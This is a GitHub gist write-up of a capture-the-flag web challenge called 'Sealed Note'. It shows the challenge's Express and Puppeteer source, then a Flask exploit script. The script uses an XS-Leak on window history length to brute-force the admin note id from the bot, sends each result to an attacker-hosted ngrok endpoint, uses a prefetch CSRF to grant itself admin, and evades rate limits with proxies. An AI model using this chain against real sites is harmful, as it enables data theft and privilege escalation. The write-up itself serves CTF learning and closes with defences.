Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 28, 2024 22:12
Show Gist options
  • Save Siss3l/198125b66aeb8fb95ddd217599b5032b to your computer and use it in GitHub Desktop.
Save Siss3l/198125b66aeb8fb95ddd217599b5032b to your computer and use it in GitHub Desktop.
Sealed Note - 1337UP Capture The Flag 2023 (thanks to @aszx87410)

Sealed Note

  • Category: Web
  • Alone: (0 solve)

Challenge

Description

We have access to a web challenge allowing us to create, read and send notes to a Puppeteer bot:

<html lang="en">
  <head>
    <title>Sealed note</title>
    <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="/static/mvp.css">
  </head>
  <body>
    <main>
      <h1>Your Notes</h1>
      <div id="app"><ul></ul></div>
      <h1>Create Note</h1>
      <form action="/api/notes" method="POST">
        <textarea rows="10" cols="50" name="content"></textarea><br>
        <input type="submit">
      </form>
      <nav>
        <ul>
          <li> Can't find what you want? <a href="/search">Search your note</a></li>
          <li><a href="/logout">Logout</a></li>
        </ul>
      </nav>
      <script src="/static/notes.js"></script>
    </main>
  </body>
</html>

The source code https://ctf.intigriti.io/files/32ef27a2c62da1648a710f7c933c5b74/sealednote.zip?token=eyJ1c2VyX2lkIjoyMSwidGVhbV9pZCI6MTIsImZpbGVfaWQiOjQ2fQ.ZVdzaQ.0DRUN4DC3sQzEzfLbVxHDOzMhd4 of the challenge was forgotten at first but supplied later:

const express = require('express'); // ./challenge/src/app.js
const crypto = require('crypto')
const app = express()
const engine = require('ejs-locals')
const session = require('express-session')
const { visit } = require('./bot.js')
const port = process.env.PORT || 3000
const flag = process.env.FLAG || "FLAG{TEST}"
const ADMIN_USERNAME = process.env.ADMIN_USERNAME || 'admin'
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'admin'
const ADMIN_NOTE_ID = process.env.ADMIN_NOTE_ID || crypto.randomBytes(8).toString('hex')
const ORIGIN = process.env.ORIGIN || 'http://localhost:3000'
const USERS = new Map()
const NOTES = new Map()
const USER_NOTES = new Map()
const ROLES = new Map()
const JOB_QUEUE = []
const ROLE_NAME = { ADMIN: 'admin', GUEST: 'guest' }
console.log({ ADMIN_USERNAME, ADMIN_PASSWORD, ADMIN_NOTE_ID })
const sha256 = input => crypto.createHash('sha256').update(input).digest('hex');
(function init() {
  if (!/^[a-f0-9]{16}$/.test(ADMIN_NOTE_ID)) {
    throw new Error('wrong note id');
  }
  USERS.set(ADMIN_USERNAME, sha256(ADMIN_PASSWORD))
  NOTES.set(ADMIN_NOTE_ID, flag)
  USER_NOTES.set(ADMIN_USERNAME, [ADMIN_NOTE_ID])
  ROLES.set(ADMIN_USERNAME, ROLE_NAME.ADMIN)
})();
app.engine('ejs', engine);
app.set('views', './views')
app.set('view engine', 'ejs')
app.use('/static', express.static(__dirname + '/public'))
app.use(express.json())
app.use(express.urlencoded({extended: false}))
app.use(session({
  secret: process.env.SECRET || crypto.randomBytes(20).toString('hex'),
  resave: false, saveUninitialized: true, cookie: { secure: false }
}))
app.use((req, res, next) => {
  res.setHeader("Cache-Control", "no-store")
  res.setHeader("X-Content-Type-Options", "nosniff")
  res.setHeader("Referrer-Policy", "origin")
  res.setHeader("Content-Security-Policy", [
      "default-src 'self'",
      "script-src 'self'",
      "base-uri 'none'",
      "object-src 'none'",
      "img-src 'none'",
      "frame-src data: http: https:",
    ].join(";")
  )
  next();
})
const requireLogin = (req, res, next) => {
  if (!req.session.username) return res.status(401).end()
  next()
}
const requireAdmin = (req, res, next) => {
  if (req.session.username !== ADMIN_USERNAME) return res.status(401).end()
  next()
}
const antiCSRF = (req, res, next) => {
  const origin = req.headers['origin']
  const fetchDest = req.headers['sec-fetch-dest']
  if (fetchDest === 'document' || origin !== ORIGIN) {
    return res.status(401).end('csrf failed')
  }
  next()
}
app.get('/', (req, res) => { return res.redirect(req.session.username ? '/notes' : '/register') })
app.get('/register', (req, res) => { res.render('register') })
app.get('/login', (req, res) => { res.render('login') })
app.get('/note', (req, res) => { if (!req.session.username) return res.redirect('/login'); res.render('note') })
app.get('/notes', (req, res) => { if (!req.session.username) return res.redirect('/login'); res.render('notes') })
app.get('/search', (req, res) => { if (!req.session.username) return res.redirect('/login'); res.render('search') })
app.get('/logout', (req, res) => { req.session.username = null; return res.redirect('/') })
app.get('/api/note/:id', requireLogin, (req, res) => {
  const noteId = req.params.id
  const username = req.session.username
  const note = NOTES.get(noteId)
  const notes = USER_NOTES.get(username)
  const role = ROLES.get(username)
  if (!note) { return res.json({ id: -1, content: 'Wrong note id' }) }
  if (!notes.includes(noteId) && role !== ROLE_NAME.ADMIN) { return res.json({ id: -1, content: 'No permission' }) }
  return res.json({ id: noteId, content: note })
})
app.get('/api/notes', requireLogin, (req, res) => {
  const username = req.session.username
  const notes = USER_NOTES.get(username)
  return res.json(notes)
})
app.post('/api/notes', requireLogin, (req, res) => {
  const username = req.session.username
  const { content } = req.body
  if (typeof content !== 'string' || content.length > 300 || username === ADMIN_USERNAME) {
    return res.status(400).end()
  }
  const notes = USER_NOTES.get(username)
  const noteId = crypto.randomBytes(8).toString('hex')
  NOTES.set(noteId, content)
  notes.unshift(noteId)
  if (notes.length > 10) notes.length = 10
  return res.redirect('/notes')
})
app.post('/api/search', requireLogin, (req, res) => {
  const username = req.session.username
  const { q } = req.body
  if (typeof q !== 'string') {
    return res.status(400).end()
  }
  const noteIds = USER_NOTES.get(username)
  const noteId = noteIds.find(item => item.startsWith(q)) || -1
  const note = NOTES.get(noteId)
  return res.json({ noteId, note })
})
app.get('/api/role', antiCSRF, requireLogin, requireAdmin, (req, res) => {
  const {username, role} = req.query
  if (username === ADMIN_USERNAME) {
    return res.status(400).end()
  }
  ROLES.set(username, role)
  return res.status(200).end()
})
app.post('/api/register', (req, res) => {
  const { username, password } = req.body
  if (typeof username !== 'string' || typeof password !== 'string' || username.length < 8 || password.length < 8) {
    return res.redirect('/register')
  }
  if (USERS.has(username)) {
    return res.redirect('/register')
  }
  USERS.set(username, sha256(password))
  USER_NOTES.set(username, [])
  ROLES.set(username, 'guest')
  return res.redirect('/login')
})
app.post('/api/login', (req, res) => {
  const { username, password } = req.body
  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.redirect('/login')
  }
  if (!USERS.has(username)) {
    return res.redirect('/login')
  }
  const pwd = USERS.get(username)
  if (pwd === sha256(password)) {
    req.session.username = username
  }
  return res.redirect('/')
})
let concurrent = 0; // cf. https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak
const maxConcurrent = process.env.MAX_CONCURRENT || 3;
const JOB_LIMIT = new Map()
async function runVisitJob() {
  if (!JOB_QUEUE.length) return
  if (concurrent >= maxConcurrent) {
    return setTimeout(runVisitJob, 1000)
  }
  concurrent++
  const noteId = JOB_QUEUE.shift()
  console.log('Job total:', JOB_QUEUE.length)
  try {
    await visit(noteId)
  } catch(err) {
    console.log('visit error', err)
  }
  concurrent--;
}
app.get('/api/share', requireLogin, (req, res) => {
  const { id } = req.query
  if (typeof id !== 'string' || !/^[a-f0-9]{16}$/.test(id)) {
    return res.send('invalid id')
  }
  const ip = req.connection.remoteAddress || req.socket.remoteAddress
  const lastVisitTime = JOB_LIMIT.get(ip)
  const currentTime = +new Date()
  const timeDiff = currentTime - lastVisitTime
  const interval = 30 * 1000
  if (lastVisitTime && timeDiff < interval) {
    return res.send(`Please wait for another ${interval - timeDiff}ms`)
  }
  JOB_LIMIT.set(ip, currentTime)
  JOB_QUEUE.push(id)
  runVisitJob()
  return res.send('admin bot will visit soon')
})
app.use((req, res) => { res.send('error') });
app.listen(port, () => { console.log(`app listening on port ${port}`); });
const puppeteer = require('puppeteer'); // ./challenge/src/bot.js
const ADMIN_USERNAME = process.env.ADMIN_USERNAME || 'admin'
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'admin'
const SITE_URL = process.env.SITE_URL || 'http://localhost:3000'
async function visit(noteId) { // https://pptr.dev/chromium-support | Chromium 110.0.5479.0 - Puppeteer v19.6.0
  const browser = await puppeteer.launch({
    headless: true, executablePath: process.env.NODE_ENV === 'production' ? '/usr/bin/chromium-browser' : null,
    args: ['--no-sandbox', '--disable-gpu', '--disable-setuid-sandbox', '--js-flags=--noexpose_wasm,--jitless']
  }); // Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
  const context = await browser.createIncognitoBrowserContext();
  const page = await context.newPage();
  console.log('visit:', noteId); // page.on('console', msg => console.log('PAGE LOG:', msg.text()));
  await page.goto(`${SITE_URL}/login`)
  await page.waitForSelector("input[name=username]");
  await page.type("input[name=username]", ADMIN_USERNAME);
  await page.waitForSelector("input[name=password]");
  await page.type("input[name=password]", ADMIN_PASSWORD);
  await page.click("input[type=submit]");
  await page.waitForTimeout(1000);
  try {
    await page.goto(`${SITE_URL}/note?id=${noteId}`)
    await page.waitForNetworkIdle({idleTime: 1200, timeout: 30 * 1000})
  } catch (e) { console.log(e); }
  await browser.close(); // Troublesome
  console.log('visit done');
}
module.exports = {visit}
// ./challenge/src/public/note.js
window.onload = function() {
  const qs = new URLSearchParams(location.search);
  const noteId = qs.get('id');
  if (noteId) {
    fetch("/api/note/" + noteId).then(res => res.json()).then(json => {
      const app = document.querySelector('#app')
      const shareBtn = document.querySelector('#share-btn')
      if (json.id !== -1) { app.srcdoc = json.content; shareBtn.href = "/api/share?id=" + json.id; }
    }).catch(err => console.log(err));
  } 
}
// ./challenge/src/public/notes.js
window.onload = function() {
  fetch("/api/notes").then(res => res.json()).then(notes => {
    const list = document.createElement('ul');
    notes.forEach(id => {
      const li = document.createElement('li')
      li.innerHTML = `<a href="/note?id=${id}">${id}</a>`
      list.appendChild(li)
    })
    document.querySelector('#app').appendChild(list);
  }).catch(err => console.log(err));
}
// ./challenge/src/public/search.js
window.onload = function() {
  const qs = new URLSearchParams(location.search);
  const q = qs.get('q');
  if (q) {
    fetch("/api/search", {method:'POST', headers:{'Content-Type':'application/json'},
      body:JSON.stringify({q})}).then(res=>res.json()).then(json => {
      const app = document.querySelector('#app');
      if (json.noteId !== -1) { app.src = 'data:text/html,' + json.noteId + '<br>' + json.note; }
    }).catch(err => console.log(err));
  } 
} // https://github.com/andybrewer/mvp/blob/master/mvp.css
<!-- ./challenge/src/views/layout.ejs -->
<!DOCTYPE html>
<html lang="zh-TW">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>Sealed note</title>
    <link rel="stylesheet" href="/static/mvp.css"> 
  </head>
  <body>
    <main>
    <%- body %>
    </main>
  </body>
</html>
<!-- ./challenge/src/views/login.ejs -->
<% layout('layout') %>
<h1>Login</h1>
<form action="/api/login" method="POST">
  Username: <input type=text name=username>
  Password: <input type=password name=password>
  <input type=submit>
</form>
<nav><ul><li>Don't have an account? <a href="/register">Register</a></li></ul></nav>
<!-- ./challenge/src/views/note.ejs -->
<% layout('layout') %>
<h1>Note</h1>
<iframe id="app" srcdoc="Not Found" csp="frame-src 'none';"></iframe>
<nav>
  <ul>
    <li><a href="/notes">Back</a></li>
    <li><a id="share-btn">Share with admin</a></li>
  </ul>
</nav>
<script src="/static/note.js"></script>
<!-- ./challenge/src/views/notes.ejs -->
<% layout('layout') %>
<h1>Your Notes</h1>
<div id="app">
</div>
<h1>Create Note</h1>
<form action="/api/notes" method="POST">
  <textarea rows="10" cols="50" name="content"></textarea><br>
  <input type="submit">
</form>
<nav>
  <ul>
    <li>Can't find what you want? <a href="/search">Search your note</a></li>
    <li><a href="/logout">Logout</a></li>
  </ul>
</nav>
<script src="/static/notes.js"></script>
<!-- ./challenge/src/views/register.ejs -->
<% layout('layout') %>
<h1>Register</h1>
<form action="/api/register" method="POST">
  Username: <input type=text name=username minLength=8>
  Password: <input type=password name=password minLength=8>
  <input type=submit>
</form>
<nav><ul><li>Already registered? <a href="/login">Login</a></li></ul></nav>
<!-- ./challenge/src/views/search.ejs -->
<% layout('layout') %>
<h1>Search Result</h1>
<iframe id="app" src="data:text/html,Not Found"></iframe>
<h1>Search Note</h1>
<form action="/search" method="GET">
  ID: <input type=text name=q>
  <input type="submit">
</form>
<nav><ul><li><a href="/notes">Back</a></li></ul></nav>
<script src="/static/search.js"></script>
FROM node:20-alpine # ./challenge/Dockerfile
ENV NODE_ENV=production
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
RUN apk update && apk upgrade
RUN apk add chromium 
COPY ./src /app
WORKDIR /app
RUN npm i
CMD node app.js
version: "3.7" # ./challenge/docker-compose.yml
services:
  web:
    build: .
    environment:
      ADMIN_USERNAME: admin
      ADMIN_PASSWORD: admin
      MAX_CONCURRENT: 3
      ORIGIN: http://localhost:3000
      SITE_URL: http://localhost:3000
      ADMIN_NOTE_ID: a123456789b12345
      FLAG: CTF{LOCAL}
      SECRET: test_secret
      PORT: 3000
    ports: - 3000:3000

And the ./challenge/src/package.json file:

{
  "name": "sealed-note",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": { "start": "node app.js", "test": "exit 1" },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "ejs": "^3.1.8",
    "ejs-locals": "^1.0.2",
    "express": "^4.18.2",
    "express-session": "^1.17.3",
    "puppeteer": "^19.5.0"
  }
}

We are not out of the woods yet, notably because the challenge was so impracticable during the CTF that it was decided fairly to withdraw it without any compensation.

Analysis

We quibble everything to try to find suspicious actions or some cross-site scripting within our notes.

Here is a non-exhaustive list of interesting findings to keep it digest:

  • There is a connect.sid cookie initialization for the web session activity;
  • We could self-XSS on the http://localhost/search?q= url, when searching for a note id containing our code;
  • The Puppeteer headless Chromium version may be vulnerable to specific CVE but unintended exploits (as Googleapis);
  • The Content Security Policy is sadly too strict, with an additional rule of frame-src 'none'; when displaying notes;
  • We could create an infinite number of notes but only the last 10 will be listed (so every note will be only readable by admins);
  • We could create a note that logout anyone (like the admin), for no particular purpose;
  • Since we have access to notes in JSON format from the API /api/note/:id, we could serve ineffective (JSON or mitra polyglot) malicious files;
  • The majority of web attacks as DOM clobbering, cookie stealing, prototype pollution or mutable injection will not be very useful here;
  • We could also add some HTML <22>, <audio>, <body>, <div>, <font>, <form>, <html>, <link>, <meta> and <video> tags to our notes.

Now all we have to do is to check every bit of code and read a ton of writeups (with club mate or epic music)!

Solution

Having eliminated unsuccessful leads, we are left with the possibility of XSLeaks, also known as Cross-site leaks that are vulnerabilities derived from side-channels built into the web platform, especially given the title of the challenge where XSLeaks are used for leaking notes (in other CTF) most of the time.

We could come across some proof-of-concept similar to our use case (without forcing on OSINT too much).
We then understand that we have no choice but to redirect the bot to our attack script endpoint!

Therefore we should adapt some proof-of-concept code to our needs (as unclear as possible, considering the mess we're already in) giving us:

from flask import Flask, Response, request; from json import loads
app = Flask(__name__) # https://github.com/alexdlaird/pyngrok
app.config["ck"] = "" # ngrok http 8000 --region us
exp, name = "https://ngrok-ip.app", "44d88612fea8a8f36de82e1278abb02f"
app.config["mid"], app.config["note"] = "", "" # session.permanent
proxies, s = {}, __import__("requests").Session() # spys.me/proxy.txt
url = "https://sealednote.ctf.intigriti.io" # "http://localhost:3000"

@app.route("/curl", methods=["GET"])
def curl() -> Response:
  """Launching the leaking attack (with admin note id)
  Could return a redirect(flag(), code=302)
  :command: curl http://localhost:8000/curl
  :type target: Response
  :return: The Response
  :rtype: Response
  """
  if (r := app.config.get("mid")) != "":
    y = s.get(f"{url}/api/share?id={r}", cookies={"connect.sid":app.config.get("ck")}, proxies=proxies).text
    if "Please wait for another" in y: [__import__("time").sleep(1), curl()]
  else: r = s.get(f"{exp}/meta").text
  if len(app.config.get("note")) == 0:
    if not proxies: [print(f"{i} second(s) passed | {__import__('time').sleep(1)}") for i in range(1, 31)]
    r += ":" + s.get(f"{exp}/link").text
  return Response(r, content_type="text/html")

@app.route("/")
@app.route("/favicon.ico", methods=["GET"])
def fav() -> Response: return Response(status=204)

@app.route("/flag", methods=["GET"])
def flag() -> Response:
  """Retrieving the flag value (if possible with admin rights)
  :command: curl http://localhost:8000/flag
  :type target: Response
  :return: The Response
  :rtype: Response
  """
  f, r = "", request.args
  n = list(r.keys())[0] if len(r.keys()) == 1 else ""
  if app.config.get("ck") != "":
    if len(n) == 16: app.config["note"] = n
    if len(app.config.get("note")) == 16:
      req = s.get(f"{url}/api/note/{app.config.get('note')}", cookies={"connect.sid": app.config.get("ck")}).text
      f = loads('{"content":""}' if "error" in req else req)["content"]; print(f"$ {f}")
    if "No permission" in f: [__import__("time").sleep(1), link(), flag()]
    if f == "": n = ""
    else: raise RuntimeError(f"Flag ===> {f}")
  return Response(f, content_type="text/html")

@app.route("/gif", methods=["GET"])
def gif() -> Response: return Response("R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=", mimetype="image/gif")

@app.route("/home", methods=["GET"])
def home() -> Response:
  r = request.args
  if len(r.keys()) == 1: app.config["note"] = list(r.keys())[0]; print(f"id={app.config.get('note')}")
  return Response(status=204)

@app.route("/link", methods=["GET"])
def link() -> Response:
  """To become an administrator using the bot of the challenge
  :command: curl http://localhost:8000/link
  :type target: Response
  :return: The Response
  :rtype: Response
  """
  if name != "" and login():
    _ = s.post(f"{url}/api/notes", cookies={"connect.sid":app.config.get("ck")},
      json={"content":f'<link/rel=prefetch href="http://localhost:3000/api/role?username={name}&role=admin" crossorigin="true"/>'})
    k = loads(s.get(f"{url}/api/notes", cookies={"connect.sid":app.config.get("ck")}).text)[0]
    print(f'$ {(v := s.get(f"{url}/api/share?id={k}", cookies={"connect.sid":app.config.get("ck")}, proxies=proxies).text)}')
  return Response(name, content_type="text/html")

def login() -> str:
  """To connect to the challenge website
  :return: The cookie of our session
  :rtype: str
  """
  if app.config.get("ck") == "":
    (_, _) = (s.post(f"{url}/api/register", json={"username":name, "password":name}),
              s.post(f"{url}/api/login",    json={"username":name, "password":name}))
    app.config.update({"ck": str(s.cookies.get_dict()["connect.sid"])})
  return app.config.get("ck")

@app.route("/meta", methods=["GET"])
def meta() -> Response:
  """Launching the bruteforce of the admin note id
  :command: curl http://localhost:8000/meta
  :type target: Response
  :return: The Response
  :rtype: Response
  """
  if exp != "" and login():
    _ = s.post(f"{url}/api/notes", json={"content": f'<meta/http-equiv=refresh content="0;URL={exp}/poc"/>'},
      cookies={"connect.sid": app.config.get("ck")})
    app.config["mid"] = "invalid_id" if(_:=s.get(f"{url}/api/notes",cookies={"connect.sid":app.config.get("ck")}).text) is None else _[2:18]
    if app.config.get("mid") in ("", "invalid_id"): app.config["ck"] = ""
    y = s.get(f"{url}/api/share?id={app.config.get('mid')}", cookies={"connect.sid":app.config.get("ck")}, proxies=proxies).text
    if not ("admin bot will visit soon" in y == "Please wait for another" not in y): print(f"$ {y}")
  return Response(app.config.get("ck"), content_type="text/html")

@app.route("/poc", methods=["GET"])
def poc() -> Response:
  """Executing JS code on the bot side that will open pages (with different history length, hopefully) as much as needed to get the admin id note.
  The valid timing range is between 500 and 5000 milliseconds locally as the nested setTimeout fetch's are almost obligatory.
  The bruteforce timing is working less well against Linux system than Windows.
  r.headers["Retry-After"]="2000";r.headers["Keep-Alive"]="timeout=5,max=1000";r.headers["Access-Control-Allow-Headers"]="Content-Type"
  :command: curl http://localhost:8000/poc
  :type target: Response
  :return: The Response
  :rtype: Response
  """
  r = Response(f"""
    <!DOCTYPE html>
    <html lang="en">
      <head>
        <title>XS-Leaks-History</title>
        <meta name="viewport" content="width=device-width,initial-scale=1.0"><meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="ie=edge"><meta name="robots" content="noindex">
      </head>
      <body>
        <script>let [note, poc] = ["{app.config.get('note')}", "{exp}"];
          async function run() {{
            const p = [];
            for (const c of [..."abcdef0123456789"]) {{
              const k = note + c;
              p.push(
                new Promise((x, y) => {{
                  let w = window.open("http://localhost:3000/search?q="+k);
                  setTimeout(() => {{
                    w.location = "about:blank";
                    setTimeout(() => {{
                      if (w.history.length === 3) {{
                        fetch(poc+"/home?"+k, {{mode: "no-cors"}}).then(_=>_);
                        note = k; let _ = (note.length < 16) ? run() : fetch(poc+"/flag?"+note, {{mode: "no-cors"}}).then(_=>_); x();
                      }} else {{ y(); }}
                      w.close();
                    }}, 5e2);
                  }}, 7e2);
                  fetch(poc+"/home", {{mode: "no-cors"}}).then(_=>_);
                }})
              );
            }}
            try{{await Promise.allSettled(p);}} catch(e){{fetch(poc+"/home?"+JSON.stringify(e),{{mode:"no-cors"}}).then(_=>console.error(e));}}
          }}
          fetch(poc+"/home", {{mode: "no-cors"}}).then(_ => run());
        </script>
      </body>
    </html>
  """.strip(), content_type="text/html")
  r.headers["Access-Control-Allow-Origin"] = r.headers["Allow-CSP-From"] = "*"
  return r

if __name__ == "__main__": app.run(debug=0, host="localhost", port=8e3)

Putting another location should work to have an oracle system (to leak the admin note id).

We could potentially bruteforce notes transmission (on specific internet protocol address) from the /api/share (to not wait 30 seconds each time) endpoint, with something like a proxy.

It may be necessary to restart the script manually to avoid errors such as Timeout exceeded while waiting for event or Failed to load resource: the server responded with a status of 429 according to the operating system running, internet connection and web browsers which explains the challenge's infrastructures problems.

Our script will execute the curl https://ngrok-ip.app/curl (or curl http://localhost:8000/curl in local) command several times to get the admin flag.

Furthermore, this attack takes care of sending a HTML <meta> tag that will bruteforce the admin note id (character by character) while waiting 30 required seconds (without proxy), then sending this time a HTML <link> tag to become an administrator (as taking advantage of /api/role, that has obviously no other purpose there) and finally retrieve the admin note!

user@ctf:~$ tmux new -s term;asciinema rec --command "tmux attach -t term" --max-wait 2 pod.cast;curl http://localhost:8000/curl;echo -en "CTF{LOCAL}"

Asciinema

Defences

  • Addding a Content Security Policy rules against <link>, <meta> and so on;
  • Adding an efficient Document Object Model XSS sanitizer;
  • Setting requests bruteforce limitation for all;
  • Monitoring I/O exfiltrations from (continuously updated) Puppeteer bot and other endpoints.

Job

Appendix

Leaving aside the instability of the challenge, it was very delightful to explore given the technical chaining case!

Bye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment